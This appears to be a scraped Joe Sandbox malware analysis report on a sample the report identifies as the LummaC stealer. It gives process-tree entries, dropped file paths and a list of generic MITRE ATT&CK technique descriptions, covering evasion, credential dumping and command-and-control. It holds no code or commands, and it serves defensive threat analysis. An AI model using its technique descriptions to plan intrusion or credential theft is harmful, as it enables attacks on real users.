Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1680,i,4262260481644383668,2991190505857384175,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:54:58
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:54:58
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1992,i,9464875061659829024,6717847535062645044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZvHSpovhDw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
ZvHSpovhDw.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre